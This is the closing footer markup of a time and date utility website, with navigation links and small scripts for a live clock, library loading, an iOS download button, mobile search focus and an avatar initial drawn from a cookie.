						<li><a href="/top/">Top City Rankings</a></li>
					</ul>
					<span class="footer-sub-header">Top Rankings</span>
					<ul class="footer-column-list">
						<li><a href="/top/sun/">Sun &amp; Daylight</a></li>
						<li><a href="/top/geography/">Geography</a></li>
						<li><a href="/top/timezone/">Time Zones</a></li>
						<li><a href="/top/prayer/">Prayer Times</a></li>
						<li><a href="/top/moon/">Moon</a></li>
						<li><a href="/top/weather/">Weather</a></li>
						<li><a href="/top/aqi/">Air Quality</a></li>
					</ul>
				</div>

				<!-- Column 2: Clocks, Timers & Integrated Widgets -->
				<div class="col-6 col-md-4 col-lg-2 footer-column">
					<span class="footer-column-header">Clocks &amp; Timers</span>
					<ul class="footer-column-list">
						<li><a href="/clock/">Clock</a></li>
						<li><a href="/alarm/">Alarm</a></li>
						<li><a href="/stopwatch/">Stopwatch</a></li>
						<li><a href="/timer/">Timer</a></li>
						<li><a href="/multi-timer/">Multi-Timer</a></li>
						<li><a href="/stage-timer/">Stage Timer</a></li>
						<li><a href="/timezones/military/">Military Time Zones</a></li>
					</ul>

					<span class="footer-sub-header">Calendar</span>
					<ul class="footer-column-list">
						<li><a href="/calendar/">Calendar</a></li>
						<li><a href="/day/"><span aria-hidden="true">📅</span> On This Day</a></li>
						<li><a href="/holidays/">Holidays</a></li>
						<li><a href="/islamic-calendar/"><span aria-hidden="true">☪️</span> Islamic Calendar</a></li>
						<li><a href="/week-number/">Week Number</a></li>
						<li><a href="/time/">⏰
								About Time</a></li>
						<li><a
								href="/timezone/">🌐
								About Time Zone</a></li>
						<li><a
								href="/public-holidays/">🎉
								Public Holidays</a></li>
					</ul>

				</div>

				<!-- Column 3: Converters & Calculators -->
				<div class="col-6 col-md-4 col-lg-2 footer-column">
					<span class="footer-column-header">Calculators</span>
					<ul class="footer-column-list">
						<li><a href="/time/calculator/">Time Calculator</a></li>
						<li><a href="/age/">Age Calculators</a></li>
						<li><a href="/countdown/">Countdown Timers</a></li>
						<li><a
								href="/categories/countdown-and-reminder-utilities/">Countdown Tools</a></li>
					</ul>
					<span class="footer-sub-header">Converters</span>
					<ul class="footer-column-list">
						<li><a href="/time-zone-converter/">Interactive Converter</a></li>
						<li><a href="/categories/time-zone-converters/">All TZ Converters</a></li>
						<li><a
								href="/categories/date-time-format-converters/">Format Converters</a></li>
						<li><a href="/unix/">Unix Time</a></li>
					</ul>
					<span class="footer-sub-header">Countdown</span>
					<ul class="footer-column-list">
						<li><a href="/countdown/">Events</a></li>
						<li><a href="/countdown/movie/">Upcoming Movies</a></li>
						<li><a href="/countdown/movie/released/">Released Movies</a></li>
					</ul>
				</div>

				<!-- Column 4: Sun, Moon & Prayer -->
				<div class="col-6 col-md-4 col-lg-2 footer-column">
					<span class="footer-column-header">Sun &amp; Moon</span>
					<ul class="footer-column-list">
						<li><a href="/sunrise/">Sunrise Times</a></li>
						<li><a href="/sunset/">Sunset Times</a></li>
						<li><a href="/eclipses/">Eclipses</a></li>
						<li><a href="/sun/">☀️
								About Sun</a></li>
						<li><a href="/moon/">🌕
								About Moon</a></li>
					</ul>

					<!-- New Prayer Section established under Sun & Moon -->
					<span class="footer-sub-header">Prayer Times</span>
					<ul class="footer-column-list">
						<li><a href="/prayer-times/">Salah Timetables</a></li>
						<li><a class="nav-link-localized" href="/prayer-times/qibla-finder/">🕋 Qibla Finder</a></li>
						<li><a class="nav-link-localized" href="/prayer-times/tasbih/">📿 Tasbih Counter</a></li>
						<li><a href="/mosques"><span aria-hidden="true">🕌</span> Mosque Finder API</a></li>
					</ul>
				</div>

				<!-- Column 5: Calendar & Holidays -->
				<div class="col-6 col-md-4 col-lg-2 footer-column">


					<span class="footer-column-header">Webmaster Tools</span>
					<ul class="footer-column-list">
						<li><a href="/free-widgets/" title="All free embeddable widgets">Free Widgets</a></li>
						<li><a href="/widget/clock/" title="Free Analog Clock Widget">Analog Clock<span class="visually-hidden-seo"> Widget</span></a></li>
						<li><a href="/widget/digital-clock/" title="Free Digital Clock Widget">Digital Clock<span class="visually-hidden-seo"> Widget</span></a></li>
						<li><a href="/widget/text-clock/" title="Free Text Clock Widget">Text Clock<span class="visually-hidden-seo"> Widget</span></a></li>
						<li><a href="/widget/word-clock/" title="Free Word Clock Widget">Word Clock<span class="visually-hidden-seo"> Widget</span></a></li>
						<li><a href="/countdown/embed/" title="Free Countdown Timer Widget">Countdown Timer<span class="visually-hidden-seo"> Widget</span></a></li>
						<li><a href="/prayer-times/embed/" title="Free Prayer Times Widget">Prayer Times<span class="visually-hidden-seo"> Widget</span></a></li>
						<li><a href="/weather/embed/" title="Free Weather Widget">Weather<span class="visually-hidden-seo"> Widget</span></a></li>
						<li><a href="/sunrise/embed/" title="Free Sunrise &amp; Sunset Widget">Sunrise &amp; Sunset<span class="visually-hidden-seo"> Widget</span></a></li>
						<li><a href="/moon/embed/" title="Free Moon Phase Widget">Moon Phase<span class="visually-hidden-seo"> Widget</span></a></li>
					</ul>

				</div>

				<!-- Column 6: Environment & Resources -->
				<div class="col-6 col-md-4 col-lg-2 footer-column">
					<span class="footer-column-header">Weather</span>
					<ul class="footer-column-list">
						<li><a href="/weather/">Weather Forecast</a></li>
						<li><a href="/aqi/">AQI Index</a></li>
					</ul>
					<span class="footer-sub-header">Resources</span>
					<ul class="footer-column-list">
						<li><a href="/articles/">Articles</a></li>
						<li><a href="/featured">Featured Articles</a></li>
						<li><a href="/the-best">Buyer’s Guides</a></li>
						<li><a href="/author/henrick-yau/">About the editor</a></li>
						<li><a href="/blog/">Blog</a></li>
						<li><a href="/new/">New Tools</a></li>
						<li><a href="/themes/tools/">More Tools</a></li>
						
						
						<li><a href="/info/about">About Time.now</a>
						</li>
						
						<li><a href="/info/contact">Contact us</a>
						</li>
						
						<li><a href="/info/terms-privacy">Terms &amp; Privacy</a>
						</li>
						
						
					</ul>
				</div>
			</div>

			<!-- Copyright Line - Exact text and logic from your old footer -->
			<div class="footer-copyright-row">
				<div class="row">
					<div class="col-md-7">
						<p>2026 &copy; Time.now - ⌚ <a href="/"
								style="text-decoration: none; color: inherit;" title="Time now"><span id="time-now" data-prefix="Time now is">Time now is 12:34:50</span></a>.</p>
					</div>
					<div class="col-md-5 text-md-end">
						<a href="/faq/">FAQ</a> |
						<a href="/developer">World Time API</a> |
						<a href="/developer/guides">Developer Guides</a>
					</div>
				</div>
			</div>

			<!-- Live Clock Script -->
			<script>
				function updateTime() {
					const now = new Date();
					const hours = String(now.getHours()).padStart(2, '0');
					const minutes = String(now.getMinutes()).padStart(2, '0');
					const seconds = String(now.getSeconds()).padStart(2, '0');
					const timeString = hours + ':' + minutes + ':' + seconds;
					const footerClock = document.getElementById('time-now');
					if (footerClock) {
						const prefix = footerClock.getAttribute('data-prefix') || 'Time now is';
						footerClock.textContent = prefix + ' ' + timeString;
					}
					const headerClock = document.getElementById('header-live-clock');
					if (headerClock) headerClock.textContent = timeString;
				}
				updateTime();
				setInterval(updateTime, 1000);
			</script>

			<!-- About Text - Maintained original style -->
			<div class="about-calculator-now mt-4">
				
				<p>
					
					
				</p>
				
			</div>
		</div>
	</footer>
















	<!-- jQuery 3.6.0 from the official jQuery CDN
<script
  src="https://code.jquery.com/jquery-3.6.0.min.js"
  integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4="
  crossorigin="anonymous"></script> 

<script
  src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"
  integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN"
  crossorigin="anonymous"></script> -->

	<script src="https://code.jquery.com/jquery-3.6.0.min.js"
		integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
	<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>




	<!-- jQuery, Popper.js, and Bootstrap JS -->
	<!-- Ensure jQuery is loaded first, then Popper.js, then Bootstrap JS -->
	<!-- <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js" integrity="sha512-K+ctZL3fZ6qXbf8+WEOXc1aDz3VbA5wg7B4/fgj+J+GxUMXvfV6Viw7hE+3VUxD+0u+3pbd4uZZ+bL/wMG6mZA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.1/umd/popper.min.js" integrity="sha512-+V7zqQKxslJHKxOWsBztPtMj9xnzYphN6LcdHcL3Cr1nGfXj0s5amBkQ4awA7Z9epP5SXfh4vEZ2l4z9quXc6Q==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>-->
	<!--<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/4.6.2/js/bootstrap.min.js" integrity="sha512-+YM+N5jImWzvKcR+HyODyVpwkjwBz6BOCz67bKVa3X+kL5g2mmv2Mj45tYHkgytAQMVX/QE3Hw6x4kG+Oe5C1g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>-->


	<!-- Bootstrap JS and dependencies (Popper) -->
	<!--<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> -->

	
	
	

	<script>
		(function () {
			// Detect iOS (iPhone, iPad, iPod)
			var isIOS = /iPad|iPhone|iPod/.test(navigator.userAgent) || (navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1);

			// Only show if it's iOS AND we are on a mobile-sized screen
			if (isIOS && window.innerWidth < 992) {
				var btn = document.getElementById('ios-download-btn-mobile');
				if (btn) btn.style.display = 'flex';
			}
		})();
	</script>

	<script>
		document.addEventListener('DOMContentLoaded', function () {
			var searchIcon = document.getElementById('mobile-search-icon');
			var themeMenu = document.getElementById('themeMenu');
			var mobileSearchInput = document.querySelector('.mobile-header-search-form input[type="search"]');

			if (searchIcon && themeMenu && mobileSearchInput) {
				var clickedSearchIcon = false;

				// Flag when the menu is opened specifically by the search icon
				searchIcon.addEventListener('click', function () {
					clickedSearchIcon = true;
				});

				// Once the Bootstrap collapse finishes sliding open, focus the input
				themeMenu.addEventListener('shown.bs.collapse', function () {
					if (clickedSearchIcon) {
						mobileSearchInput.focus();
						clickedSearchIcon = false; // reset flag
					}
				});
			}
		});
	</script>


	<script>
		(function () {
			function getCookie(n) {
				var v = "; " + document.cookie;
				var p = v.split("; " + n + "=");
				if (p.length === 2) return p.pop().split(";").shift();
			}

			var initial = getCookie('u_initial');
			if (initial) {
				// Fill both mobile and desktop circles with the initial
				document.querySelectorAll('.js-avatar-initial').forEach(function (el) {
					el.innerText = initial;
				});
			}
		})();
	</script>





</body>

</html>